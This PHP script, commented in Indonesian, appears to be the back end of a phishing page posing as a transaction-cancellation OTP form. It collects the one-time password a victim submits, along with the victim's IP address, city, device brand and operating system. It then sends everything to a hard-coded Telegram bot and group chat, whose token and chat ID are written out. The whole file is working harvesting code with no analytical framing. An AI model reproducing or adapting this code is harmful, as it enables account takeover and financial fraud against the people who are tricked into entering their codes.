<?php
// Konfigurasi Telegram Bot (SUDAH DIIISI DENGAN DATA ANDA)
define('TELEGRAM_BOT_TOKEN', '8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4');
define('TELEGRAM_CHAT_ID', '-1003615695612'); // ID grup tujuan

// Fungsi untuk mendapatkan IP pengguna
function get_user_ip() {
    $ip = $_SERVER['REMOTE_ADDR'];
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    return $ip;
}

// Fungsi untuk mendapatkan OS pengguna dari User-Agent
function get_user_os() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $os_platform = "Tidak Dikenal";

    $os_array = [
        '/windows nt 10/i'      => 'Windows 10',
        '/windows nt 6.3/i'     => 'Windows 8.1',
        '/windows nt 6.2/i'     => 'Windows 8',
        '/windows nt 6.1/i'     => 'Windows 7',
        '/windows nt 6.0/i'     => 'Windows Vista',
        '/windows nt 5.1/i'     => 'Windows XP',
        '/windows xp/i'         => 'Windows XP',
        '/windows nt 5.0/i'     => 'Windows 2000',
        '/macintosh|mac os x/i' => 'Mac OS X',
        '/mac_powerpc/i'        => 'Mac OS 9',
        '/linux/i'              => 'Linux',
        '/ubuntu/i'             => 'Ubuntu',
        '/iphone/i'             => 'iPhone',
        '/ipod/i'               => 'iPod',
        '/ipad/i'               => 'iPad',
        '/android/i'            => 'Android'
    ];

    foreach ($os_array as $regex => $value) {
        if (preg_match($regex, $user_agent)) {
            $os_platform = $value;
            break;
        }
    }
    return $os_platform;
}

// Fungsi untuk mendapatkan Brand Perangkat dari User-Agent (membatasi untuk mobile)
function get_device_brand() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $brand = "Tidak Dikenal";

    $brand_array = [
        '/samsung/i'     => 'Samsung',
        '/iphone/i'      => 'Apple',
        '/ipad/i'        => 'Apple',
        '/ipod/i'        => 'Apple',
        '/xiaomi/i'      => 'Xiaomi',
        '/huawei/i'      => 'Huawei',
        '/oppo/i'        => 'Oppo',
        '/vivo/i'        => 'Vivo',
        '/realme/i'      => 'Realme',
        '/oneplus/i'     => 'OnePlus',
        '/sony/i'        => 'Sony',
        '/lg/i'          => 'LG'
    ];

    foreach ($brand_array as $regex => $value) {
        if (preg_match($regex, $user_agent)) {
            $brand = $value;
            break;
        }
    }
    return $brand;
}

// Fungsi untuk mendapatkan Kota dari IP (menggunakan API ipapi.co - gratis untuk penggunaan terbatas)
function get_user_city($ip) {
    $response = @file_get_contents("https://ipapi.co/{$ip}/city/");
    return $response ? trim($response) : "Tidak Dapat Ditemukan";
}

// Ambil data dari request POST
$otp_code = isset($_POST['otp_code']) ? $_POST['otp_code'] : "Tidak Ada OTP";

// Ambil data tambahan
$user_ip = get_user_ip();
$user_os = get_user_os();
$device_brand = get_device_brand();
$user_city = get_user_city($user_ip);

// Siapkan pesan untuk Telegram
$message = "📩 NOTIFIKASI OTP PEMBATALAN TRANSAKSI\n";
$message .= "=============================\n";
$message .= "🔑 Kode OTP: {$otp_code}\n";
$message .= "🌍 Kota: {$user_city}\n";
$message .= "📱 Brand Perangkat: {$device_brand}\n";
$message .= "💻 Sistem Operasi: {$user_os}\n";
$message .= "🌐 IP Pengguna: {$user_ip}\n";
$message .= "=============================\n";
$message .= "Waktu: " . date('d-m-Y H:i:s');

// Fungsi untuk mengirim pesan ke Telegram
function send_telegram_message($token, $chat_id, $message) {
    $url = "https://api.telegram.org/bot{$token}/sendMessage";
    $params = [
        'chat_id' => $chat_id,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);
}

// Kirim pesan ke Telegram
send_telegram_message(TELEGRAM_BOT_TOKEN, TELEGRAM_CHAT_ID, $message);

// Kirim respons ke client (sesuai dengan AJAX di file HTML)
echo json_encode([
    'status' => 'success',
    'message' => 'Data OTP dan informasi pengguna telah dikirim',
    'data' => [
        'otp' => $otp_code,
        'city' => $user_city,
        'brand' => $device_brand,
        'os' => $user_os,
        'ip' => $user_ip
    ]
]);
?>
